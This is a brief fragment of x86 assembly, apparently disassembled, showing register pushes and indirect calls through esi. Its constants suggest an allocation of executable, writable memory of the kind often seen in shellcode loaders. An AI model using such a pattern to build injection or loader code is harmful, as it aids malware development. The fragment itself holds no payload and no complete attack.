push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x41ead1
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret